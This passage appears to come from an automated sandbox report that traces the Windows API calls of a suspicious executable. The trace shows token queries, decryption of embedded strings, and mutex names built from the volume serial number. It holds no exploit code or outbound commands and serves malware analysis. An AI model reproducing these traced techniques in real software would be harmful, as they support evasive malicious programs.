[0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x27) returned 0x24d1ed0 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x12) returned 0x24d1f00 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x21) returned 0x24d1f20 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x10) returned 0x24d1f50 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x1c) returned 0x24d1f68 [0142.204] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x12) returned 0x24d1f90 [0142.204] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d0fd0 | out: hHeap=0x24d0000) returned 1 [0142.205] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0142.205] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x80) returned 0x24d0fd0 [0142.205] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb68136) returned 0x0 [0142.205] RtlSizeHeap (HeapHandle=0x24d0000, Flags=0x0, MemoryPointer=0x24d0fd0) returned 0x80 [0142.205] GetLastError () returned 0x0 [0142.205] SetLastError (dwErrCode=0x0) [0142.206] GetLastError () returned 0x0 [0142.206] SetLastError (dwErrCode=0x0) [0142.206] GetLastError () returned 0x0 [0142.206] SetLastError (dwErrCode=0x0) [0142.206] GetLastError () returned 0x0 [0142.206] SetLastError (dwErrCode=0x0) [0142.206] GetLastError () returned 0x0 [0142.206] SetLastError (dwErrCode=0x0) [0142.206] GetLastError () returned 0x0 [0142.206] SetLastError (dwErrCode=0x0) [0142.206] GetLastError () returned 0x0 [0142.206] SetLastError (dwErrCode=0x0) [0142.206] GetLastError () returned 0x0 [0142.206] SetLastError (dwErrCode=0x0) [0142.206] GetLastError () returned 0x0 [0142.206] SetLastError (dwErrCode=0x0) [0142.207] GetLastError () returned 0x0 [0142.207] SetLastError (dwErrCode=0x0) [0142.207] GetLastError () returned 0x0 [0142.207] SetLastError (dwErrCode=0x0) [0142.207] GetLastError () returned 0x0 [0142.207] SetLastError (dwErrCode=0x0) [0142.207] GetLastError () returned 0x0 [0142.207] SetLastError (dwErrCode=0x0) [0142.207] GetLastError () returned 0x0 [0142.207] SetLastError (dwErrCode=0x0) [0142.207] GetLastError () returned 0x0 [0142.207] SetLastError (dwErrCode=0x0) [0142.207] GetLastError () returned 0x0 [0142.207] SetLastError (dwErrCode=0x0) [0142.207] GetLastError () returned 0x0 [0142.207] SetLastError (dwErrCode=0x0) [0142.207] GetLastError () returned 0x0 [0142.207] SetLastError (dwErrCode=0x0) [0142.207] GetLastError () returned 0x0 [0142.207] SetLastError (dwErrCode=0x0) [0142.207] GetLastError () returned 0x0 [0142.207] SetLastError (dwErrCode=0x0) [0142.208] GetLastError () returned 0x0 [0142.208] SetLastError (dwErrCode=0x0) [0142.208] GetLastError () returned 0x0 [0142.208] SetLastError (dwErrCode=0x0) [0142.208] GetLastError () returned 0x0 [0142.208] SetLastError (dwErrCode=0x0) [0142.208] GetLastError () returned 0x0 [0142.208] SetLastError (dwErrCode=0x0) [0142.208] GetLastError () returned 0x0 [0142.208] SetLastError (dwErrCode=0x0) [0142.208] GetLastError () returned 0x0 [0142.208] SetLastError (dwErrCode=0x0) [0142.208] GetLastError () returned 0x0 [0142.208] SetLastError (dwErrCode=0x0) [0142.208] GetLastError () returned 0x0 [0142.208] SetLastError (dwErrCode=0x0) [0142.208] GetLastError () returned 0x0 [0142.208] SetLastError (dwErrCode=0x0) [0142.208] GetLastError () returned 0x0 [0142.208] SetLastError (dwErrCode=0x0) [0142.208] GetLastError () returned 0x0 [0142.208] SetLastError (dwErrCode=0x0) [0142.209] GetLastError () returned 0x0 [0142.209] SetLastError (dwErrCode=0x0) [0142.209] GetLastError () returned 0x0 [0142.209] SetLastError (dwErrCode=0x0) [0142.209] GetLastError () returned 0x0 [0142.209] SetLastError (dwErrCode=0x0) [0142.209] GetLastError () returned 0x0 [0142.209] SetLastError (dwErrCode=0x0) [0142.209] GetLastError () returned 0x0 [0142.209] SetLastError (dwErrCode=0x0) [0142.209] GetLastError () returned 0x0 [0142.209] SetLastError (dwErrCode=0x0) [0142.209] GetLastError () returned 0x0 [0142.209] SetLastError (dwErrCode=0x0) [0142.209] GetLastError () returned 0x0 [0142.209] SetLastError (dwErrCode=0x0) [0142.209] GetLastError () returned 0x0 [0142.209] SetLastError (dwErrCode=0x0) [0142.209] GetLastError () returned 0x0 [0142.209] SetLastError (dwErrCode=0x0) [0142.209] GetLastError () returned 0x0 [0142.209] SetLastError (dwErrCode=0x0) [0142.210] GetLastError () returned 0x0 [0142.210] SetLastError (dwErrCode=0x0) [0142.210] GetLastError () returned 0x0 [0142.210] SetLastError (dwErrCode=0x0) [0142.210] GetLastError () returned 0x0 [0142.210] SetLastError (dwErrCode=0x0) [0142.210] GetLastError () returned 0x0 [0142.210] SetLastError (dwErrCode=0x0) [0142.210] GetLastError () returned 0x0 [0142.210] SetLastError (dwErrCode=0x0) [0142.210] GetLastError () returned 0x0 [0142.210] SetLastError (dwErrCode=0x0) [0142.210] GetLastError () returned 0x0 [0142.210] SetLastError (dwErrCode=0x0) [0142.210] GetLastError () returned 0x0 [0142.210] SetLastError (dwErrCode=0x0) [0142.210] GetLastError () returned 0x0 [0142.210] SetLastError (dwErrCode=0x0) [0142.210] GetLastError () returned 0x0 [0142.210] SetLastError (dwErrCode=0x0) [0142.210] GetLastError () returned 0x0 [0142.210] SetLastError (dwErrCode=0x0) [0142.211] GetLastError () returned 0x0 [0142.211] GetLastError () returned 0x0 [0142.211] GetLastError () returned 0x0 [0142.211] GetLastError () returned 0x0 [0142.211] GetLastError () returned 0x0 [0142.211] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x30) returned 0x24d1fb0 [0142.211] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x2cc0) returned 0x24d1fe8 [0142.211] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x15c) returned 0x24d4cb0 [0142.211] GetTickCount () returned 0x10ac8 [0142.214] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x1c) returned 0x24d4e40 [0142.214] GetVersion () returned 0x23f00206 [0142.214] GetCurrentProcess () returned 0xffffffff [0142.214] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x9cfd0c | out: TokenHandle=0x9cfd0c*=0x1ec) returned 1 [0142.214] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x14, TokenInformation=0x9cfd04, TokenInformationLength=0x4, ReturnLength=0x9cfd08 | out: TokenInformation=0x9cfd04, ReturnLength=0x9cfd08) returned 1 [0142.214] CloseHandle (hObject=0x1ec) returned 1 [0142.214] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x20) returned 0x24d4e68 [0142.214] CryptAcquireContextW (in: phProv=0xb6fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xb6fcf0*=0x1368f8) returned 1 [0142.224] CryptImportKey (in: hProv=0x1368f8, pbData=0x9cfc00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x9cfc68 | out: phKey=0x9cfc68*=0x1491f0) returned 1 [0142.225] CryptSetKeyParam (hKey=0x1491f0, dwParam=0x1, pbData=0x9cfc50, dwFlags=0x0) returned 1 [0142.225] CryptDecrypt (in: hKey=0x1491f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24d4e68, pdwDataLen=0x9cfc1c | out: pbData=0x24d4e68, pdwDataLen=0x9cfc1c) returned 1 [0142.225] CryptDestroyKey (hKey=0x1491f0) returned 1 [0142.225] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x1e) returned 0x24d4e90 [0142.225] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x1e) returned 0x24d4eb8 [0142.225] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x90) returned 0x24d4ee0 [0142.225] CryptImportKey (in: hProv=0x1368f8, pbData=0x9cfbd8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x9cfc40 | out: phKey=0x9cfc40*=0x149570) returned 1 [0142.225] CryptSetKeyParam (hKey=0x149570, dwParam=0x1, pbData=0x9cfc28, dwFlags=0x0) returned 1 [0142.225] CryptDecrypt (in: hKey=0x149570, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24d4ee0, pdwDataLen=0x9cfbf4 | out: pbData=0x24d4ee0, pdwDataLen=0x9cfbf4) returned 1 [0142.225] CryptDestroyKey (hKey=0x149570) returned 1 [0142.225] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4ee0 | out: hHeap=0x24d0000) returned 1 [0142.225] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x24d4e90, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0142.225] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4eb8 | out: hHeap=0x24d0000) returned 1 [0142.225] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4e68 | out: hHeap=0x24d0000) returned 1 [0142.225] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x9cfca8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x9cfca8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0142.226] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4e90 | out: hHeap=0x24d0000) returned 1 [0142.226] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x40) returned 0x24d4e68 [0142.226] CryptImportKey (in: hProv=0x1368f8, pbData=0x9cfc34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x9cfc9c | out: phKey=0x9cfc9c*=0x1491f0) returned 1 [0142.226] CryptSetKeyParam (hKey=0x1491f0, dwParam=0x1, pbData=0x9cfc84, dwFlags=0x0) returned 1 [0142.226] CryptDecrypt (in: hKey=0x1491f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24d4e68, pdwDataLen=0x9cfc50 | out: pbData=0x24d4e68, pdwDataLen=0x9cfc50) returned 1 [0142.226] CryptDestroyKey (hKey=0x1491f0) returned 1 [0142.226] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x34) returned 0x24d4eb0 [0142.226] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0142.226] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x1f0 [0142.226] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0142.226] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4e68 | out: hHeap=0x24d0000) returned 1 [0142.226] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4eb0 | out: hHeap=0x24d0000) returned 1 [0142.226] ReleaseMutex (hMutex=0x1f0) returned 1 [0142.226] CloseHandle (hObject=0x1f0) returned 1 [0142.226] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x20) returned 0x24d4e68 [0142.226] CryptImportKey (in: hProv=0x1368f8, pbData=0x9cfc14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x9cfc7c | out: phKey=0x9cfc7c*=0x1491f0) returned 1 [0142.226] CryptSetKeyParam (hKey=0x1491f0, dwParam=0x1, pbData=0x9cfc64, dwFlags=0x0) returned 1 [0142.226] CryptDecrypt (in: hKey=0x1491f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24d4e68, pdwDataLen=0x9cfc30 | out: pbData=0x24d4e68, pdwDataLen=0x9cfc30) returned 1 [0142.226] CryptDestroyKey (hKey=0x1491f0) returned 1 [0142.226] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x1e) returned 0x24d4e90 [0142.226] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x1e) returned 0x24d4eb8 [0142.226] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x90) returned 0x24d4ee0 [0142.226] CryptImportKey (in: hProv=0x1368f8, pbData=0x9cfbec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x9cfc54 | out: phKey=0x9cfc54*=0x1491f0) returned 1 [0142.226] CryptSetKeyParam (hKey=0x1491f0, dwParam=0x1, pbData=0x9cfc3c, dwFlags=0x0) returned 1 [0142.226] CryptDecrypt (in: hKey=0x1491f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24d4ee0, pdwDataLen=0x9cfc08 | out: pbData=0x24d4ee0, pdwDataLen=0x9cfc08) returned 1 [0142.226] CryptDestroyKey (hKey=0x1491f0) returned 1 [0142.226] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4ee0 | out: hHeap=0x24d0000) returned 1 [0142.227] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x24d4e90, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0142.227] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4eb8 | out: hHeap=0x24d0000) returned 1 [0142.227] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4e68 | out: hHeap=0x24d0000) returned 1 [0142.227] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x9cfcbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x9cfcbc*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0142.227] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4e90 | out: hHeap=0x24d0000) returned 1 [0142.227] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x0, Size=0x40) returned 0x24d4e68 [0142.227] CryptImportKey (in: hProv=0x1368f8, pbData=0x9cfc48, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x9cfcb0 | out: phKey=0x9cfcb0*=0x149430) returned 1 [0142.227] CryptSetKeyParam (hKey=0x149430, dwParam=0x1, pbData=0x9cfc98, dwFlags=0x0) returned 1 [0142.227] CryptDecrypt (in: hKey=0x149430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24d4e68, pdwDataLen=0x9cfc64 | out: pbData=0x24d4e68, pdwDataLen=0x9cfc64) returned 1 [0142.227] CryptDestroyKey (hKey=0x149430) returned 1 [0142.227] RtlAllocateHeap (HeapHandle=0x24d0000, Flags=0x8, Size=0x34) returned 0x24d4eb0 [0142.227] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x1f0 [0142.227] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0142.227] CloseHandle (hObject=0x1f0) returned 1 [0142.227] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4e68 | out: hHeap=0x24d0000) returned 1 [0142.227] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4eb0 | out: hHeap=0x24d0000) returned 1 [0142.227] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4e18 | out: hHeap=0x24d0000) returned 1 [0142.227] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4e40 | out: hHeap=0x24d0000) returned 1 [0142.227] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d4cb0 | out: hHeap=0x24d0000) returned 1 [0142.227] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d1fe8 | out: hHeap=0x24d0000) returned 1 [0142.228] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d1fb0 | out: hHeap=0x24d0000) returned 1 [0142.228] GetModuleHandleW (lpModuleName="mscoree.dll") returned 0x0 [0142.228] ExitProcess (uExitCode=0x0) [0142.228] HeapFree (in: hHeap=0x24d0000, dwFlags=0x0, lpMem=0x24d05a8 | out: hHeap=0x24d0000) returned 1 Thread: id = 49 os_tid = 0xe5c Process: id = "12" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x3a289000" os_pid = "0x558" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0xe34" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e3bf" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 59 os_tid = 0xd2c Thread: id = 60 os_tid = 0xd10 Thread: id = 61 os_tid = 0xafc Thread: id = 62 os_tid = 0x900 Thread: id = 63 os_tid = 0x8fc Thread: id = 64 os_tid = 0x784 Thread: id = 65 os_tid = 0x68c Thread: id = 66 os_tid = 0x684 Thread: id = 67 os_tid = 0x5d8 Thread: id = 68 os_tid = 0x5d4 Thread: id = 69 os_tid = 0x5d0 Thread: id = 70 os_tid = 0x560 Thread: id = 71 os_tid = 0x55c Process: id = "13" image_name = "ph_exec.exe1.exe" filename = "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe" page_root = "0x1f12b000" os_pid = "0xf9c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xe34" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001185d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 82 os_tid = 0xfa0 [0155.882] GetStartupInfoW (in: lpStartupInfo=0xaffb10 | out: lpStartupInfo=0xaffb10*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0155.882] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0155.882] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x6f0000 [0155.886] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bf0000 [0155.887] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsAlloc") returned 0x75c04ae0 [0155.887] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsGetValue") returned 0x75c04b20 [0155.887] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsSetValue") returned 0x75c04b40 [0155.887] GetProcAddress (hModule=0x75bf0000, lpProcName="FlsFree") returned 0x75c04b00 [0155.888] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x214) returned 0x6f05a8 [0155.888] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bf0000 [0155.888] GetCurrentThreadId () returned 0xfa0 [0155.888] GetStartupInfoW (in: lpStartupInfo=0xaffaac | out: lpStartupInfo=0xaffaac*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0155.888] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x800) returned 0x6f07c8 [0155.888] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0155.888] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0155.889] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0155.889] SetHandleCount (uNumber=0x20) returned 0x20 [0155.889] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe\" " [0155.889] GetEnvironmentStringsW () returned 0x1bf9b0* [0155.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0155.889] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x565) returned 0x6f0fd0 [0155.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x6f0fd0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0155.890] FreeEnvironmentStringsW (penv=0x1bf9b0) returned 1 [0155.890] GetLastError () returned 0xcb [0155.890] SetLastError (dwErrCode=0xcb) [0155.890] GetLastError () returned 0xcb [0155.890] SetLastError (dwErrCode=0xcb) [0155.890] GetLastError () returned 0xcb [0155.890] SetLastError (dwErrCode=0xcb) [0155.890] GetACP () returned 0x4e4 [0155.890] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x220) returned 0x6f1540 [0155.890] GetLastError () returned 0xcb [0155.890] SetLastError (dwErrCode=0xcb) [0155.890] IsValidCodePage (CodePage=0x4e4) returned 1 [0155.890] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xaffa74 | out: lpCPInfo=0xaffa74) returned 1 [0155.890] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xaff540 | out: lpCPInfo=0xaff540) returned 1 [0155.890] GetLastError () returned 0xcb [0155.890] SetLastError (dwErrCode=0xcb) [0155.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xaff954, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0155.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xaff954, cbMultiByte=256, lpWideCharStr=0xaff2b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0155.890] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0xaff554 | out: lpCharType=0xaff554) returned 1 [0155.890] GetLastError () returned 0xcb [0155.890] SetLastError (dwErrCode=0xcb) [0155.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xaff954, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0155.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xaff954, cbMultiByte=256, lpWideCharStr=0xaff288, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﾫ쵴骫ÄĀ") returned 256 [0155.890] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﾫ쵴骫ÄĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0155.891] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿﾫ쵴骫ÄĀ", cchSrc=256, lpDestStr=0xaff078, cchDest=256 | out: lpDestStr=" 